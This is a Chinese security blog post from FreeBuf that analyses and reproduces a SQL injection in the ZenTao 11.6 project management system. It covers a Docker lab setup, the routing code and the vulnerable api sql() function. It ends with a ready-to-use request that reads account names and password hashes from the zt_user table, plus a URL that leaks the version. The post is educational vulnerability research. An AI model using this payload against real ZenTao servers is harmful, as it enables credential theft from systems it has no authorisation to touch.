freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

禅道11.6后台sql注入漏洞分析及复现
朝闻道 2023-02-20 20:03:17 196406
所属地 浙江省

禅道 11.6 api-getModel-api-sql-sql 后台SQL注入漏洞

一、环境搭建

1.使用docker一键搭建

docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6

--name 给容器命名为zentao_v11.6
-p 将docker容器的80端口映射到宿主机的8084端口
-v 挂载卷,指定挂载一个本地主机的目录到容器中去。上面的命令加载主机的 /u01/zentao/www 目录到容器的 /app/zentaopms 目录。这个功能在进行测试的时候十分方便,比如用户可以放置一些程序到本地目录中,来查看容器是否正常工作。本地目录的路径必须是绝对路径,如果目录不存在 Docker 会自动为你创建它。通过挂载实现docker容器和本地主机之间的文件共享互通。类似于linux的mount(挂载是指由操作系统 使一个存储设备,诸如硬盘、CD-ROM或共享资源上的计算机文件和目录可供用户通过计算机的文件系统访问的一个过程。)
-e 设置环境变量。在 Docker 容器中,环境变量可以用来配置应用程序的行为,例如设置数据库的连接参数、API 密钥等。通过使用 "-e" 参数,可以在启动容器时将环境变量传递给容器中运行的应用程序。
-d 让 Docker 容器在后台以守护态(Daemonized)形式运行

image-20230215000948491

端口运行起来后可直接访问本地的8084端口,出现安装界面就说明容器运行成功

按照步骤一路往下点就行

image-20230215001959641

最后设置好后进入后台(admin/Admin123)

image-20230215002350099


二、代码审计

下载好源码https://www.zentao.net/dl/zentao/11.6/ZenTaoPMS.11.6.stable.zbox_64.tar.gz

1.路由分析

在审计cms的代码前通过路由和分析我们能了解整个cms的基本框架和代码流程。而且,url作为一种输入的数据,经过路由解析,可以匹配到应用业务控制器(也有可能是闭包函数和自定义的类)。

首先,禅道里有两种类型的路由,分别对应者两种不同的url访问方式

PATHINFO:user-login-L3plbnRhb3BtczEwLjMuMS93d3cv.html 以伪静态形式在html名称中传参 GET:index.php?m=block&f=main&mode=getblockdata 类似于其他常规cms在get参数中传参


一开始是先加载了一些框架类,并且使用router::createApp创建了一个APP对象

$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');

image-20230218154210560

关键部分也在index.php的最后几行,看这些方法的名字,我们也不难猜到它们各自的功能

$app->parseRequest();   参数解析
$common->checkPriv();   权限检测
$app->loadModule();     模块加载

image-20230218155422238

我们先来到framework/base/router.class.php查看createapp方法

image-20230218163039120

public static function createApp($appName = 'demo', $appRoot = '', $className = '')
{
if(empty($className)) $className = __CLASS__;
return new $className($appName, $appRoot);
}

这是一个 PHP 中的静态方法,它的作用是创建app对象。该方法接受三个可选参数:appName,appRoot和className。 如果 $className 参数未指定,则使用当前类名。该方法返回一个新app对象,是 className类的实例化对象。

因为new了一个新对象,所以我们来到__construct函数,看看初始化对象时会调用哪些方法(348行)

image-20230218164413123

其中在358行处调用setConfigRoot方法和在363行处调用loadMainConfig方法

/**
* 设置config配置文件的根目录。
* Set the config root.
*
* @access public
* @return void
*/
public function setConfigRoot()
{
$this->configRoot = $this->basePath . 'config' . DS;
}
/**
* 加载整个应用公共的配置文件。
* Load the common config files for the app.
*
* @access public
* @return void
*/
public function loadMainConfig()
{
/* 初始化$config对象。Init the $config object. */
global $config, $filter;
if(!is_object($config)) $config = new config();
$this->config = $config;

/* 加载主配置文件。 Load the main config file. */
$mainConfigFile = $this->configRoot . 'config.php';
if(!file_exists($mainConfigFile)) $this->triggerError("The main config file $mainConfigFile not found", __FILE__, __LINE__, $exit = true);
include $mainConfigFile;
}

这里包含了配置文件config.php配置文件,文件目录为/config/config.php,在这里定义了一些路由设置

image-20230218165511320

/* 框架路由相关设置。Routing settings. */
$config->requestType = 'PATH_INFO';         // 请求类型:PATH_INFO|PATHINFO2|GET。   The request type: PATH_INFO|PATH_INFO2|GET.
$config->requestFix  = '-';                 // PATH_INFO和PATH_INFO2模式的分隔符。   The divider in the url when PATH_INFO|PATH_INFO2.
$config->moduleVar   = 'm';                 // 请求类型为GET:模块变量名。           requestType=GET: the module var name.
$config->methodVar   = 'f';                 // 请求类型为GET:模块变量名。           requestType=GET: the method var name.
$config->viewVar     = 't';                 // 请求类型为GET:视图变量名。           requestType=GET: the view var name.
$config->sessionVar  = 'zentaosid';         // 请求类型为GET:session变量名。         requestType=GET: the session var name.
$config->views       = ',html,json,mhtml,xhtml,'; // 支持的视图类型。                       Supported view formats.
一:PATH_INFO 模式是什么?
PATH_INFO 模式是伪静态的一种。
我们可以使用PATH_INFO来代替Rewrite来实现伪静态页面, 另外不少PHP框架也使用PATH_INFO来作为路由载体
伪静态页面是静态URL与动态URL互通的一个桥梁,它是指动态网址通过URL重写的手段去掉其动态参数,使URL静态化,但在实际的网页目录中并没有重写URL。
简单来说,伪静态URL就是通过服务器转换伪装文件名或地址,使该页面类似于静态页面,但服务器上没有独立存在的文件,其本质还是动态页面。
PATH_INFO是服务器状态中的一个参数,PHP通过$_SERVER[‘PATH_INFO’]可以查看内容

这段 PHP 代码定义了一个 $config 变量,它可能是一个对象或数组,包含了一些路由相关的设置。这些设置用于决定应用程序如何解析传入的 URL,并将其映射到相应的控制器、方法和视图。

通过代码中的注释我们可以知道这里的请求类型可以分为三种:PATH_INFO,PATHINFO2和GET,并且这里将PATH_INFO和PATH_INFO2模式归为一类,另一种则是使用m,f,t来调用。其中 "PATH_INFO" 表示使用类似 "/module/method" 的 URL 格式,"PATHINFO2" 表示使用类似 "/index.php?m=module&f=method&t=tpl" 的 URL 格式,"GET" 表示使用类似 "/index.php?xxx=yyy" 的 URL 格式。

这些设置可以根据应用程序的需要进行更改,以便灵活地适应不同的 URL 解析需求。例如,如果应用程序需要支持自定义的 URL 格式,可以通过修改 $config->requestType 和 $config->requestFix 设置来实现。


接着我们查看下index.php中调用的parseRequest()方法。

image-20230218183552421

image-20230218172443620

//-------------------- 请求相关的方法(Request related methods) --------------------//

/**
* 解析本次请求的入口方法,根据请求的类型(PATH_INFO GET),调用相应的方法。
* The entrance of parseing request. According to the requestType, call related methods.
*
* @access public
* @return void
*/
public function parseRequest()
{
if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
{
$this->parsePathInfo();
$this->setRouteByPathInfo();
}
elseif($this->config->requestType == 'GET')
{
$this->parseGET();
$this->setRouteByGET();
}
else
{
$this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
}
}

这里对请求方式做了一个判断,如果是PAH_INFO和PATH_INFO2其中之一则调用parseRequest函数。跟进setRouteByPathInfo方法,在1551行

image-20230218172536300

//-------------------- 路由相关方法(Routing related methods) --------------------//

/**
* 设置路由(PATH_INFO 方式):
* 1.设置模块名;
* 2.设置方法名;
* 3.设置控制器文件。
*
* Set the route according to PATH_INFO.
* 1. set the module name.
* 2. set the method name.
* 3. set the control file.
*
* @access public
* @return void
*/
public function setRouteByPathInfo()
{
if(!empty($this->URI))
{
/*
* 根据$requestFix分割符,分割网址。
* There's the request seperator, split the URI by it.
**/
if(strpos($this->URI, $this->config->requestFix) !== false)
{
$items = explode($this->config->requestFix, $this->URI);
$this->setModuleName($items[0]);
$this->setMethodName($items[1]);
}    
/*
* 如果网址中没有分隔符,使用默认的方法。
* No reqeust seperator, use the default method name.
**/
else
{
$this->setModuleName($this->URI);
$this->setMethodName($this->config->default->method);
}
}
else
{    
$this->setModuleName($this->config->default->module);   // 使用默认模块 use the default module.
$this->setMethodName($this->config->default->method);   // 使用默认方法 use the default method.
}
$this->setControlFile();
}

setRouteByPathInfo方法会对网址进行分割,并且用explode() 函数把url字符串打散为数组,分为两部分,分别作为模块名字和方法名字

所以可以推测出调用的方法。

接着再看下checkPriv()方法,checkPriv()方法位于\module\common\model.php文件中

/**
* Check the user has permission to access this method, if not, locate to the login page or deny page.
*
* @access public
* @return void
*/
public function checkPriv()
{
$module = $this->app->getModuleName();
$method = $this->app->getMethodName();
if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
if($this->isOpenMethod($module, $method)) return true;
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();

if(isset($this->app->user))
{
if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
}
else
{
$referer  = helper::safe64Encode($this->app->getURI(true));
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
}

这里在获得模块名和方法名后会判断是否需要改密码以及判断是否使用开放方式,除了isOpenMethod中定义的公开模块和方法之外,其他的方法都是需要登录的认证用户,已登录用户则判断用户是否具有对应方法的访问权限,否则跳转到登陆页面。

最后还有loadModule()方法,位置在framework/base/router.class.php,这里节省篇幅就不展开说了,大致就是index.php最后面调用的几个函数依次执行下来。

…………

2.漏洞原理

关键是最后来到module/api/moudel.php中的sql函数,漏洞产生的原因就在这里

public function sql($sql, $keyField = '')
{
$sql  = trim($sql);
if(strpos($sql, ';') !== false) $sql = substr($sql, 0, strpos($sql, ';'));
a($sql);
if(empty($sql)) return '';

if(stripos($sql, 'select ') !== 0)
{
return $this->lang->api->error->onlySelect;
}
else
{
try
{
$stmt = $this->dao->query($sql);
if(empty($keyField)) return $stmt->fetchAll();
$rows = array();
while($row = $stmt->fetch()) $rows[$row->$keyField] = $row;
return $rows;
}
catch(PDOException $e)
{
return $e->getMessage();
}
}
}


可以看到这里$sql=trim($sql)使用trim函数过滤了空格,所以我们只需要把空格换成+就可以绕过



三、漏洞利用

构造payload为

http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user

image-20230218205149331

成功执行sql语句

同时,也可以读取版本信息

http://localhost:8084/zentaopms11.6/www/index.php?mode=getconfig

image-20230218205509226

原因是inde.php的第39行代码

image-20230218205622321


# SQL注入 # CMS漏洞
本文为 朝闻道 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
朝闻道 LV.3
这家伙太懒了,还未填写个人描述!
  • 5 文章数
  • 2 关注者
hackthebox靶机Support
2023-03-11
Nosql注入总结
2023-02-24
hackthebox靶机Shoppy
2023-02-17
文章目录